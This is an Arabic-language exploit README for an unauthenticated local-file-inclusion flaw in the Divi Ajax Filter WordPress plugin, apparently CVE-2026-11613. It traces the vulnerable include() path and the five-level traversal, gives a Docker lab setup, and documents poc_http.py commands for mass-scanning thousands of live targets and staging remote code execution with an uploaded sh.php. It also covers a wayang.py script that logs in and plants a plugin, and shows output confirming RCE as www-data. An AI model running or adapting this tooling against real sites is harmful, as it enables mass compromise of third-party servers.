
Divi Ajax Filter <= 5.1.2 إدراج ملف محلي غير مصادق عليه عبر 'custom_loop_template'
| الإضافة | Divi Ajax Filter (Divi Engine، إصدار مدفوع — ليس في wordpress.org SVN) |
| المتأثر | جميع الإصدارات <= 5.1.2 (المختبر استخدم 3.1.8.4 من مرآة) |
| تم التصحيح | 5.1.3 (11/08/2026) |
| النوع | CWE-98 — تضمين ملف محلي PHP، غير مصادق |
| CVSS | 9.8 حرج (AV:N/AC:L/PR:N/UI:N) |
| الإشعار | Wordfence (المكتشف: h0xilo)، نُشر في 04/09/2026 |
| مصدر الكود | مرآة عامة: github.com/albertoformi/fr9z3i4pwxt3qx (موقع WP + الإضافة في includes/modules/divi-ajax-filter/) |
includes/modules/FilterPosts/FilterPosts.php:1759 ينشئ
wp_create_nonce('filter_object') ويربطه عبر wp_localize_script
(filter_ajax_object.security) بسكربت يتم تحميله لجميع الزوار
(wp_enqueue_scripts). الـ Nonce ليس حاجزًا: كل زائر لديه نسخة منه.filter_ajax.php:3406-3407 و loadmore_ajax.php:569-570
يسجلان معالجات عبر wp_ajax_nopriv_* (بدون تسجيل دخول).filter_ajax.php:114-133 (loadmore: 73-91):
$loop_var = json_decode(sanitize_text_field($_POST['loop_var']))، ثم
$custom_loop_template = $loop_var['custom_loop_template'] حرفيًا —
بدون basename()، بدون قائمة بيضاء، بدون فحص realpath.filter_ajax.php:2871-2873 (loadmore: 344-346):
if ($loop_templates == 'custom-template') {
if (file_exists(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template)) {
include(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template);
$posttype من JSON
query حر، لا توجد قائمة سماح) ويجب أن يُرجع الاستعلام >= منشور واحد.<webroot>/wp-content/themes/<theme>/divi-ajax-filter/loop-templates/
→ يتطلب ../../../../../ (5 مرات) للعودة إلى webroot. ملاحظة مهمة:
file_exists()/include() تفشل بصمت إذا كان مكوّن مسار البادئة غير موجود —
يجب أن يكون دليل divi-ajax-filter/loop-templates/ داخل القالب موجودًا (هذا
هو هيكل القالب المخصص الموثق في الإضافة، لذا فهو شائع في المواقع
التي تستخدم هذه الميزة؛ بدون هذا الدليل يتم حظر التنقل فعليًا).cve-2026-11613/
├── poc_http.py # PoC + ماسح ضوئي مباشر شامل (ملف واحد)
├── divi-ajax-filter-3.1.8.4.zip # إضافة جاهزة للتثبيت (رفع عبر WP admin / Plugins > Add New)
├── README.md
├── mirror-site/ # استنساخ github albertoformi/fr9z3i4pwxt3qx
│ └── includes/modules/divi-ajax-filter/ # الإضافة v3.1.8.4 (المتأثرة)
└── lab/
├── docker-compose.yml # WP 6.5 + MariaDB، المنفذ 8099
├── setup.sh # نسخ الإضافة + compose up
├── install_wp.sh # تثبيت WP + التحقق
└── wp-content/
├── mu-plugins/
│ ├── zz-divi-shim.php # شيم DiviExtension/ET_Builder_* (للمختبر فقط)
│ └── zz-activate-daf.php # تفعيل تلقائي للإضافة
├── plugins/divi-ajax-filter/ # الإضافة الضعيفة (مثبتة في الحاوية)
└── uploads/poc-rce.php # حمولة "رفع" محاكاة (exit في النهاية)
bash lab/setup.sh # نسخ الإضافة + docker compose up (المنفذ 8099)
bash lab/install_wp.sh # تثبيت WP (admin / LabPass!2026)
# إضافة هيكل القالب المطلوب للتنقل:
docker exec lab-wp-1 mkdir -p /var/www/html/wp-content/themes/twentytwentyfour/divi-ajax-filter/loop-templates
# إنشاء منشورين تجريبيين (مرة واحدة فقط):
docker run --rm --volumes-from lab-wp-1 --network lab_default \
-e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wordpress \
-e WORDPRESS_DB_PASSWORD=wordpress -e WORDPRESS_DB_NAME=wordpress \
wordpress:cli wp post create --post_title="Lab Post 1" --post_status=publish
python poc_http.py target.com # تلقائي http://
python poc_http.py https://target.com domain2.com # أهداف متعددة
python poc_http.py --list targets.txt --threads 30 # فحص شامل 5000+
python poc_http.py --list targets.txt --fast # مسح خفيف 2 طلب/هدف
python poc_http.py target.com --upload-name sh.php --upload-marker MYPWNED # تجهيز RCE
http://؛ إزالة التكرار تلقائيًا؛ النتائج
تُكتب فورًا بشكل تدريجي إلى results_cve-2026-11613.csv (آمن Ctrl-C، النتائج الجزئية محفوظة).VULN: LFI / VULN: LFI+RCE (أخضر)، not-confirmed (أصفر)،
NO-NONCE / NO-PLUGIN (سماوي)، UNREACHABLE / ERROR (أحمر).--no-color / متغير البيئة NO_COLOR لإخراج عادي؛ الألوان تُعطّل تلقائيًا عند الأنابيب.python wayang.py <site> <wp-user> <wp-pass>
أمر واحد: تسجيل الدخول → زرع canary WayangXploit (إضافة صغيرة غير مفعلة،
PoC فقط: تطبع marker+uid+uname ثم exit، ليست webshell، بدون معاملات cmd)
→ التحقق → مسح LFI غير مصادق → حكم RCE. تلقائي: https-upgrade،
تجاوز SSL، POST يحافظ على إعادة التوجيه. التنظيف: حذف الإضافة
"WayangXploit Canary" + "Divi Compat Shim" في wp-admin بعد الاختبار.
poc_http.py الآن افتراضيًا --upload-marker WayangXploit-RCE-CONFIRMED
(لذا يكفي --upload-rel / --upload-name فقط).
[+] LFI: action=divi_filter_ajax_handler depth=5: included xmlrpc.php EXECUTED (marker 'methodResponse')
[+] RCE: action=divi_filter_ajax_handler depth=5: included wp-content/uploads/poc-rce.php EXECUTED
VERDICT: VULNERABLE - RCE confirmed
evidence: CVE-2026-11613-RCE-CONFIRMED | uid=33 user=www-data | uname=Linux ... 6.18.33.2-microsoft-standard-WSL2
شروط قابلية الاستغلال في الأهداف المباشرة (التي يفحصها live_scan.py):
filter_object مكشوف في صفحة عامة (سكربت الوحدة محمّل).<theme>/divi-ajax-filter/loop-templates/ (التنقل المسبوق يتطلب هذا).